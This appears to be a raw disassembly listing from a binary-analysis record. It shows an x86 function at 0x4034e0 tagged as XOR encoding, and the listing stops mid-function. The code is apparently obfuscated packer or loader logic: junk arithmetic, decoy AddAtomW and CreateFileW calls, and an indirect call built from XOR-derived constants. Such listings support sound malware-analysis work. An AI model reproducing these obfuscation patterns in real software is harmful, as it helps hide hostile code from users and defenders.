Function at 0x4034e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov dword [ebp - 0x88], 0x6786
movzx eax, word [0x413004]
sub eax, 0x843
mov word [0x413004], ax
push str.Bjbguj1_8UWf
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x10c], ax
mov ecx, 0x537
mov word [ebp - 0x164], cx
lea edx, [ebp - 0x88]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0xa8], 0x31
mov ax, word [ebp - 0x164]
mov word [ebp - 0x114], ax
mov byte [ebp - 0x165], 0x9d
mov dword [ebp - 0x7c], 0x6227
mov cx, word [0x413004]
mov word [ebp - 0x3c], cx
mov edx, dword [ebp - 0xa8]
mov dword [0x436b84], edx
push 0
push 0x40
push 2
push 0
push 8
push 0x40000000
push str.mQLjnbg0AM
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x108], eax
mov cl, byte [ebp - 0x165]
mov byte [ebp - 0x89], cl
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0xa8]
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0x148], 0xcc11
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3c]
add ecx, edx
movzx eax, word [0x413004]
cmp ecx, eax
jle 0x403626
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x180], ecx
mov dword [ebp - 0xfc], 0x9096
mov dl, byte [ebp - 0x89]
mov byte [ebp - 0x175], dl
mov byte [ebp - 0xb9], 0x26
push str.HYihGbpv.TNCv0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x28], ax
movzx eax, byte [ebp - 0x175]
movzx ecx, byte [ebp - 0x165]
and eax, ecx
mov byte [0x413006], al
lea edx, [ebp - 0x164]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x108]
mov edx, dword [ebp - 0xb8]
imul edx, dword [eax]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [0x436b84]
shr eax, cl
cmp edx, eax
jne 0x403684
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x88]
xor ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0x108]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xb8]
shl edx, cl
mov eax, dword [ebp - 0x108]
mov dword [eax], edx
jmp 0x4036be
movsx ecx, byte [ebp - 0xb9]
cmp ecx, 2
je 0x4036be
mov dx, word [0x413004]
mov word [ebp - 0xb0], dx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x88]
cmp ecx, dword [ebp - 0x78]
jle 0x4036be
movzx edx, byte [ebp - 0x89]
push edx
call fcn.00403470
add esp, 4
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
cdq
idiv dword [ebp - 0x88]
cmp eax, dword [ebp - 0x78]
jge 0x403735
mov cl, byte [ebp - 0xb9]
mov byte [ebp - 0x184], cl
cmp byte [ebp - 0x184], 0x26
je 0x4036e6
jmp 0x403721
movzx edx, byte [ebp - 0x165]
movzx eax, byte [ebp - 0x175]
imul edx, eax
mov byte [ebp - 0x89], dl
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 0x108]
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov dword [ebp - 0x84], edx
jmp 0x403733
movzx eax, word [ebp - 0x3c]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx]
and eax, edx
mov word [0x413004], ax
jmp 0x4037a8
movzx eax, byte [ebp - 0x89]
movzx ecx, byte [ebp - 0x165]
add eax, ecx
movzx edx, byte [ebp - 0x175]
movzx ecx, byte [0x413006]
sub edx, ecx
cmp eax, edx
jge 0x4037a8
movzx edx, byte [ebp - 0x89]
movzx eax, byte [ebp - 0x175]
sub edx, eax
mov byte [ebp - 0x165], dl
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x180]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x180]
mov dx, word [eax]
mov ecx, dword [ebp - 0xa8]
call fcn.00404e80
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x174]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x14c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x114]
add ecx, edx
mov word [ebp - 0x164], cx
movsx eax, byte [ebp - 0xb9]
shl eax, 7
mov byte [ebp - 0xb9], al
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xb0]
sar edx, cl
mov word [ebp - 0x3c], dx
mov eax, dword [ebp - 0x14c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x164]
or ecx, edx
mov eax, dword [ebp - 0x14c]
mov word [eax], cx
mov ecx, dword [ebp - 0xb8]
xor ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x108]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x89]
movzx ecx, byte [ebp - 0x175]
and eax, ecx
mov byte [0x413006], al
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x88]
add eax, dword [edx]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
sub edx, dword [0x436b84]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0x174]
sub eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x14c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x164]
add eax, ecx
mov edx, dword [ebp - 0x14c]
mov word [edx], ax
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3c]
and ecx, edx
mov word [ebp - 0xb0], cx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax]
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x108]
mov eax, dword [ebp - 0xb8]
sub eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
add edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x174]
sub ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x175]
movzx ecx, byte [ebp - 0x165]
or eax, ecx
mov byte [ebp - 0x89], al
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x180]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb0], ax
mov edx, dword [ebp - 0x14c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x114]
xor eax, ecx
mov word [ebp - 0x164], ax
movsx edx, byte [ebp - 0xb9]
shl edx, 3
mov byte [ebp - 0xb9], dl
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
sub eax, dword [ebp - 0x78]
mov dword [ebp - 0x88], eax
movzx ecx, word [ebp - 0x3c]
mov edx, dword [ebp - 0x180]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x18]
mov word [edx], cx
movzx eax, byte [ebp - 0x175]
movzx ecx, byte [ebp - 0x165]
add eax, ecx
mov byte [ebp - 0x89], al
mov edx, dword [ebp - 0x108]
mov eax, dword [edx]
sub eax, dword [ebp - 0xa8]
mov dword [0x436b84], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x174]
sub edx, dword [ecx]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x148]
sub eax, 0x72
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x88]
and edx, dword [ecx]
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [0x436b84]
add ecx, dword [eax]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x18]
mov word [ecx], ax
movzx edx, byte [0x413006]
movzx eax, byte [ebp - 0x89]
sub edx, eax
mov byte [ebp - 0x175], dl
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x78]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x78]
shl eax, cl
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xb8]
mov dword [ebp - 0x1c], edx
movzx eax, byte [ebp - 0x175]
movzx ecx, byte [ebp - 0x165]
or eax, ecx
mov byte [0x413006], al
mov edx, dword [ebp - 0x78]
and edx, dword [ebp - 0x174]
mov dword [ebp - 0x88], edx
movsx eax, byte [ebp - 0xb9]
sub eax, 0x7e
mov byte [ebp - 0xb9], al
movsx ecx, word [ebp - 0x164]
mov edx, dword [ebp - 0x14c]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x114], cx
movzx ecx, byte [ebp - 0x175]
movzx edx, byte [ebp - 0x165]
sub ecx, edx
mov byte [ebp - 0x89], cl
mov eax, dword [ebp - 0x180]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb0]
add ecx, edx
mov eax, dword [ebp - 0x180]
mov word [eax], cx
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
add edx, dword [ebp - 0xb8]
mov dword [ebp - 0xa8], edx
cmp dword [ebp - 0x148], 0xa4e1
jae 0x4037b9
lea eax, [ebp - 0x78]
mov dword [ebp - 0x5c], eax
mov cx, word [ebp - 0xb0]
mov word [ebp - 0x80], cx
lea edx, [ebp - 0xb0]
mov dword [0x436b80], edx
mov dword [ebp - 0xf4], 0x413006
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
mov dword [ebp - 0xac], eax
movzx ecx, word [ebp - 0xb0]
movzx edx, word [ebp - 0x3c]
and ecx, edx
mov word [ebp - 0x80], cx
movsx eax, byte [ebp - 0xb9]
cmp eax, 0x23
jne 0x403bbd
movzx ecx, byte [ebp - 0x165]
movzx edx, byte [ebp - 0x89]
add ecx, edx
mov eax, dword [ebp - 0xf4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x84]
shl edx, cl
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0xf4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x165]
xor ecx, edx
mov byte [0x413006], cl
mov eax, dword [ebp - 0x108]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c]
shr edx, cl
mov eax, dword [ebp - 0x128]
mov dword [eax], edx
movzx ecx, word [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
push eax
mov edx, dword [ebp - 0x164]
mov cl, byte [ebp - 0x175]
call fcn.00404ec0
mov cx, word [ebp - 0x114]
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0xf4]
movzx eax, byte [edx]
movzx ecx, byte [0x413006]
or eax, ecx
mov byte [ebp - 0x89], al
mov edx, dword [ebp - 0x18]
mov ax, word [edx]
mov word [ebp - 0x34], ax
mov ecx, dword [ebp - 0xb8]
sub ecx, dword [ebp - 0xac]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xa8]
and edx, dword [0x436b84]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x78]
add ecx, dword [eax]
mov dword [ebp - 0x88], ecx
movzx edx, byte [ebp - 0x89]
mov eax, dword [ebp - 0xf4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x413006], dl
mov edx, dword [ebp - 0xf4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x175]
sub eax, ecx
mov byte [ebp - 0x89], al
mov edx, dword [ebp - 0x180]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xb0], ax
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xa8]
add ecx, dword [eax]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
and eax, dword [ebp - 0x84]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x1c]
xor ecx, dword [0x436b84]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x80]
shl eax, cl
mov ecx, dword [ebp - 0x18]
mov word [ecx], ax
mov edx, dword [ebp - 0xf4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x89]
or eax, ecx
mov edx, dword [ebp - 0xf4]
mov byte [edx], al
mov eax, dword [ebp - 0x14c]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x114]
sar edx, cl
mov word [ebp - 0x14], dx
movzx eax, byte [ebp - 0x89]
mov ecx, dword [ebp - 0xf4]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x413006], al
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xac]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
and eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
movzx edx, word [ebp - 0x34]
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x80], dx
movzx edx, byte [ebp - 0x175]
movzx eax, byte [ebp - 0x89]
sub edx, eax
mov ecx, dword [ebp - 0xf4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0xac]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 4]
add eax, dword [edx]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x88]
sub ecx, dword [ebp - 0x174]
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [0x436b80]
mov word [ecx], ax
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x34]
sub eax, ecx
mov word [ebp - 0x80], ax
mov edx, dword [ebp - 0xfc]
sub edx, 0xb6
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0xb8]
xor eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
shl eax, cl
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x78]
sar edx, cl
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 4]
and eax, dword [ebp - 0x174]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0xfc], 0x5ed2
ja 0x403bf9
lea ecx, [ebp - 0xb9]
mov dword [ebp - 0x4c], ecx
movzx edx, byte [ebp - 0x89]
mov eax, dword [ebp - 0xf4]
movzx ecx, byte [eax]
add edx, ecx
movzx eax, byte [ebp - 0x165]
movzx ecx, byte [ebp - 0x175]
add eax, ecx
cmp edx, eax
jne 0x403e69
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0x164]
and edx, eax
mov word [ebp - 0x114], dx
call fcn.00404f80
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x128]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [0x436b84]
sub ecx, dword [ebp - 0xa8]
cmp eax, ecx
je 0x403f02
movzx edx, byte [ebp - 0x165]
movzx eax, byte [ebp - 0x89]
add edx, eax
mov byte [0x413006], dl
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3c]
xor edx, eax
mov word [ebp - 0x80], dx
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x14c]
push edx
push 0xfe
push 0x23
push 0x51
call dword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
or ecx, dword [0x436b84]
mov edx, dword [ebp - 0x128]
mov dword [edx], ecx
mov eax, dword [ebp - 0xf4]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x1c]
call fcn.00404f20
jmp 0x403f2d
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx]
mov edx, dword [ebp - 0x88]
sub edx, dword [ebp - 4]
cmp eax, edx
jle 0x403f2d
mov eax, dword [ebp - 0xac]
mov ecx, dword [0x436b84]
shr eax, cl
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xf4]
mov dl, byte [ecx]
mov byte [ebp - 0xe5], dl
mov al, byte [ebp - 0xb9]
mov byte [ebp - 0x188], al
cmp byte [ebp - 0x188], 0x82
je 0x403f83
cmp byte [ebp - 0x188], 0x18
je 0x403f5e
jmp 0x404e3d
movzx ecx, word [ebp - 0xb0]
push ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
push eax
mov edx, dword [ebp - 0x164]
mov cl, byte [ebp - 0x175]
call fcn.00404ec0
jmp 0x404e3d
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx]
add edx, dword [ebp - 0xac]
mov dword [ebp - 0xb8], edx
lea eax, [ebp - 0x174]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x4c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xb9]
sub edx, eax
mov byte [0x413007], dl
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x38]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0xf4]
mov dl, byte [ecx]
mov byte [ebp - 0x51], dl
cmp dword [ebp - 0x7c], 0x958d
jae 0x40430e
movzx eax, word [ebp - 0x80]
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x34], ax
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xa8]
and ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [edx]
sub eax, dword [ebp - 0x174]
mov dword [ebp - 0x78], eax
movsx ecx, byte [0x413007]
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xb9], cl
movsx ecx, word [ebp - 0x164]
movsx edx, word [ebp - 0x14]
add ecx, edx
mov word [ebp - 0x114], cx
movzx eax, byte [ebp - 0x89]
movzx ecx, byte [ebp - 0xe5]
sub eax, ecx
mov byte [ebp - 0x175], al
movzx edx, word [ebp - 0xb0]
movzx ecx, word [ebp - 0x34]
sar edx, cl
mov word [0x413004], dx
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x128]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xa8], edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x88]
xor ecx, dword [eax]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
or eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
and eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx]
mov edx, dword [ebp - 0x124]
mov dword [edx], eax
mov eax, dword [ebp - 0xf4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xe5]
sub ecx, edx
mov byte [ebp - 0x165], cl
mov eax, dword [ebp - 0x180]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x34], cx
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x174]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1c]
mov dword [0x436b84], ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x84]
and eax, dword [edx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x78]
add eax, dword [edx]
mov dword [ebp - 0x174], eax
movzx ecx, byte [0x413006]
mov edx, dword [ebp - 0xf4]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xe5], cl
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov ecx, dword [ebp - 0x180]
mov word [ecx], dx
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
movsx ecx, byte [0x413007]
or eax, ecx
mov byte [ebp - 0xb9], al
movsx edx, word [ebp - 0x164]
movsx ecx, word [ebp - 0x14]
sar edx, cl
mov word [ebp - 0x114], dx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x108]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0x78]
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [0x436b80]
mov word [eax], dx
lea ecx, [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, dword [ebp - 0xf4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x89]
sub eax, ecx
mov byte [ebp - 0x165], al
mov edx, dword [ebp - 0x108]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x128]
add eax, dword [ecx]
mov dword [ebp - 0xac], eax
mov edx, dword [ebp - 0x7c]
add edx, 0x99
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x124]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
add edx, dword [eax]
mov dword [ebp - 0x174], edx
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
add edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x128]
mov dword [eax], edx
mov ecx, dword [ebp - 0xf4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xe5]
add edx, eax
mov ecx, dword [ebp - 0xf4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x180]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x80], ax
mov eax, dword [ebp - 0x84]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x174], eax
movzx edx, byte [ebp - 0xe5]
mov eax, dword [ebp - 0xf4]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x413006], dl
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xa8]
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x84]
mov dword [ebp - 0x78], ecx
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0x164]
sub edx, eax
mov word [ebp - 0x114], dx
movsx ecx, byte [0x413007]
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xb9], cl
jmp 0x403fd3
mov dword [ebp - 0x68], 0x40000
movzx ecx, word [ebp - 0x80]
movzx edx, word [ebp - 0x3c]
add ecx, edx
mov word [ebp - 0x34], cx
mov eax, dword [ebp - 0xf4]
mov cl, byte [eax]
mov byte [ebp - 0xfd], cl
mov edx, dword [ebp - 0xa8]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x78]
sub ecx, dword [eax]
mov dword [ebp - 0x174], ecx
lea edx, [ebp - 0x89]
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x180]
mov cx, word [eax]
mov word [ebp - 0x64], cx
mov edx, dword [ebp - 0x68]
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x160], edx
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0x174]
mov dword [ebp - 4], eax
push str.Bbr_PH0RRO3_Yaz8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x150], ax
mov dword [ebp - 0xec], 0x72ad8689
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x170], ecx
lea edx, [ebp - 0x165]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x144]
mov cl, byte [eax]
mov byte [0x436b88], cl
mov edx, dword [ebp - 0x180]
mov ax, word [edx]
mov word [ebp - 0x24], ax
mov ecx, dword [ebp - 0xec]
xor ecx, 0x72ad97bb
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x174]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x88]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x124]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c]
mov cl, byte [eax]
mov byte [ebp - 0x11d], cl
mov edx, dword [ebp - 0xec]
mov dword [ebp - 0x138], edx
mov eax, dword [ebp - 0x4c]
mov cl, byte [eax]
mov byte [ebp - 0x18c], cl
cmp byte [ebp - 0x18c], 0xd
je 0x404440
jmp 0x40445e
movsx edx, word [ebp - 0x164]
mov eax, dword [ebp - 0x14c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x114], dx
jmp 0x404e30
mov dl, byte [ebp - 0xe5]
mov byte [ebp - 0x11e], dl
lea eax, [ebp - 0x24]
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x108]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x170]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [0x435b88], eax
call fcn.00403180
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp - 0x78]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 4], edx
lea eax, [ebp - 0x160]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0xec]
push edx
mov eax, dword [ebp - 0x68]
push eax
call dword [ebp - 0x6c]
mov dword [ebp - 0x17c], eax
mov ecx, dword [ebp - 0x140]
movzx edx, word [ecx]
mov eax, dword [0x436b80]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x80], dx
mov edx, dword [ebp - 0xf4]
mov al, byte [edx]
mov byte [ebp - 0xee], al
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x128]
